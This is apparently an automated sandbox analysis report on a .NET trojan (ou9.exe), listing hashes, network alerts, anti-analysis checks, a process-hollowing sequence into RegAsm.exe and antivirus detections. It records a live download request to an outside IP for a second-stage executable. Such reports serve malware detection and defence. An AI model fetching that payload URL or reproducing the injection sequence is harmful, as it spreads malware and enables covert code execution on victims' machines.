Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Sept. 22, 2024, 5:20 p.m.	Sept. 22, 2024, 5:44 p.m.

Size	14.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`e3107006030849c277e057b5a5fedc06`
SHA256	`50cd115622e40763687a9e1da3af3166656d1c6006d1625c6f62ead6ba37cea5`
CRC32	`8200C974`
ssdeep	`384:dyrwXkLG1bAAAAqtfWJ1kNRol5MqaYFiV2/6n:dhbFAAAAqtfWENiKAe`
PDB Path	C:\Users\Administrator\Desktop\RunPE-x\ConsoleApp66\obj\Release\Kpmg.pdb
Yara	PE_Header_Zero - PE File Signature Is_DotNET_EXE - (no description) IsPE32 - (no description)

ou9.exe "C:\Users\test22\AppData\Local\Temp\ou9.exe"
2052
- RegAsm.exe "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
  2244

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
147.45.44.131	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 147.45.44.131:80 -> 192.168.56.103:49161	2400022	ET DROP Spamhaus DROP Listed Traffic Inbound group 23	Misc Attack
TCP 192.168.56.103:49161 -> 147.45.44.131:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 192.168.56.103:49161 -> 147.45.44.131:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.103:49161	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 147.45.44.131:80 -> 192.168.56.103:49161	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.103:49161	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 22, 2024, 5:20 p.m.			0	0
IsDebuggerPresent Sept. 22, 2024, 5:20 p.m.			0	0

This executable has a PDB path (1 event)

pdb_path

C:\Users\Administrator\Desktop\RunPE-x\ConsoleApp66\obj\Release\Kpmg.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 22, 2024, 5:20 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://147.45.44.131/files/ywp.exe

Performs some HTTP requests (1 event)

request

GET http://147.45.44.131/files/ywp.exe

Allocates read-write-execute memory (usually to unpack itself) (21 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 1638400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007e0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00930000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 1638400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x020c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02210000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00412000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00545000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0054b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00547000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00710000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0041a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00536000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00537000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0042a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00711000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2052 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00712000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Sept. 22, 2024, 5:20 p.m.	flags: 15 family: 0		111	0

Yara rule detected in process memory (9 events)

description	Take ScreenShot	rule	ScreenShot
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

147.45.44.131

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2244 region_size: 323584 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000438	1	0	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation Sept. 22, 2024, 5:20 p.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

ou9.exe tried to sleep 5456326 seconds, actually delayed analysis time by 5456326 seconds

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 22, 2024, 5:20 p.m.	buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL³ìÌfàfÆ0@ð@)¤x @BL¥¨.textdf `.rdataU(*j@@.data\í°X@À.reloc@B Dì@B base_address: 0x00400000 process_identifier: 2244 process_handle: 0x00000438	1	1	0
WriteProcessMemory Sept. 22, 2024, 5:20 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2244 process_handle: 0x00000438	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 22, 2024, 5:20 p.m.	buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL³ìÌfàfÆ0@ð@)¤x @BL¥¨.textdf `.rdataU(*j@@.data\í°X@À.reloc@B Dì@B base_address: 0x00400000 process_identifier: 2244 process_handle: 0x00000438	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2052 called NtSetContextThread to modify thread in remote process 2244
NtSetContextThread Sept. 22, 2024, 5:20 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4233520 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000434 process_identifier: 2244	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2052 resumed a thread in remote process 2244
NtResumeThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x00000434 suspend_count: 1 process_identifier: 2244	1	0	0

Executed a process and injected code into it, probably while unpacking (22 events)

Time & API	Arguments	Status	Return
NtResumeThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2052	1	0
NtResumeThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 2052	1	0
NtResumeThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x00000198 suspend_count: 1 process_identifier: 2052	1	0
NtResumeThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x00000344 suspend_count: 1 process_identifier: 2052	1	0
NtResumeThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x00000378 suspend_count: 1 process_identifier: 2052	1	0
NtResumeThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x000003ac suspend_count: 1 process_identifier: 2052	1	0
NtResumeThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x000003c0 suspend_count: 1 process_identifier: 2052	1	0
NtResumeThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x000003e8 suspend_count: 1 process_identifier: 2052	1	0
NtResumeThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x000003fc suspend_count: 1 process_identifier: 2052	1	0
NtResumeThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x00000414 suspend_count: 1 process_identifier: 2052	1	0
NtResumeThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x00000430 suspend_count: 1 process_identifier: 2052	1	0
CreateProcessInternalW Sept. 22, 2024, 5:20 p.m.	thread_identifier: 2248 thread_handle: 0x00000434 process_identifier: 2244 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe track: 1 command_line: filepath_r: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000438	1	1
NtGetContextThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x00000434	1	0
NtAllocateVirtualMemory Sept. 22, 2024, 5:20 p.m.	process_identifier: 2244 region_size: 323584 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000438	1	0
WriteProcessMemory Sept. 22, 2024, 5:20 p.m.	buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEL³ìÌfàfÆ0@ð@)¤x @BL¥¨.textdf `.rdataU(*j@@.data\í°X@À.reloc@B Dì@B base_address: 0x00400000 process_identifier: 2244 process_handle: 0x00000438	1	1
WriteProcessMemory Sept. 22, 2024, 5:20 p.m.	buffer: base_address: 0x00401000 process_identifier: 2244 process_handle: 0x00000438	1	1
WriteProcessMemory Sept. 22, 2024, 5:20 p.m.	buffer: base_address: 0x00438000 process_identifier: 2244 process_handle: 0x00000438	1	1
WriteProcessMemory Sept. 22, 2024, 5:20 p.m.	buffer: base_address: 0x0043b000 process_identifier: 2244 process_handle: 0x00000438	1	1
WriteProcessMemory Sept. 22, 2024, 5:20 p.m.	buffer: base_address: 0x0044a000 process_identifier: 2244 process_handle: 0x00000438	1	1
WriteProcessMemory Sept. 22, 2024, 5:20 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2244 process_handle: 0x00000438	1	1
NtSetContextThread Sept. 22, 2024, 5:20 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4233520 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000434 process_identifier: 2244	1	0
NtResumeThread Sept. 22, 2024, 5:20 p.m.	thread_handle: 0x00000434 suspend_count: 1 process_identifier: 2244	1	0

File has been identified by 52 AntiVirus engines on VirusTotal as malicious (50 out of 52 events)

Bkav	W32.AIDetectMalware.CS
Lionic	Trojan.Win32.Generic.m289
CTX	exe.trojan.msil
CAT-QuickHeal	Trojan.Generic
Skyhigh	Artemis!Trojan
Cylance	Unsafe
VIPRE	Gen:Heur.MSIL.Krypt.6
Sangfor	Trojan.Win32.Injector.Vhkg
CrowdStrike	win/malicious_confidence_90% (D)
Alibaba	Trojan:MSIL/Injector.b2af7a52
K7GW	Trojan ( 0050bedf1 )
K7AntiVirus	Trojan ( 0050bedf1 )
Arcabit	Trojan.MSIL.Krypt.6
VirIT	Trojan.Win32.MSIL.HGP
Symantec	ML.Attribute.HighConfidence
Elastic	malicious (high confidence)
ESET-NOD32	a variant of MSIL/Injector.LOS
APEX	Malicious
Paloalto	generic.ml
ClamAV	Win.Packed.Pwsx-10035668-0
Kaspersky	HEUR:Trojan.Win32.Generic
BitDefender	Gen:Heur.MSIL.Krypt.6
MicroWorld-eScan	Gen:Heur.MSIL.Krypt.6
Rising	Trojan.Injector!8.C4 (CLOUD)
Emsisoft	Gen:Heur.MSIL.Krypt.6 (B)
F-Secure	Trojan.TR/Injector.klqnr
DrWeb	Trojan.InjectNET.17
Zillya	Trojan.Injector.Win32.1864498
TrendMicro	TrojanSpy.Win32.LUMMASTEALER.YXEIDZ
McAfeeD	Real Protect-LS!E31070060308
Sophos	Mal/Generic-S
Ikarus	Trojan.MSIL.Injector
FireEye	Generic.mg.e3107006030849c2
Jiangmin	Trojan.MSIL.apeix
Google	Detected
Avira	TR/Injector.klqnr
Antiy-AVL	Trojan/Win32.Agent
Kingsoft	MSIL.Trojan.Agent.gen
Microsoft	Trojan:Win32/Multiverze
ZoneAlarm	HEUR:Trojan.Win32.Generic
GData	Gen:Heur.MSIL.Krypt.6
Varist	W32/MSIL_Troj.C.gen!Eldorado
AhnLab-V3	Trojan/Win.Generic.C5663268
McAfee	Artemis!E31070060308
DeepInstinct	MALICIOUS
VBA32	Trojan.MSIL.DiscoStealer.Heur
Malwarebytes	Trojan.Injector.MSIL
TrendMicro-HouseCall	TrojanSpy.Win32.LUMMASTEALER.YXEIDZ
Tencent	Malware.Win32.Gencirc.1418d6ba
huorong	Trojan/MSIL.Injector.fx

ou9.exe

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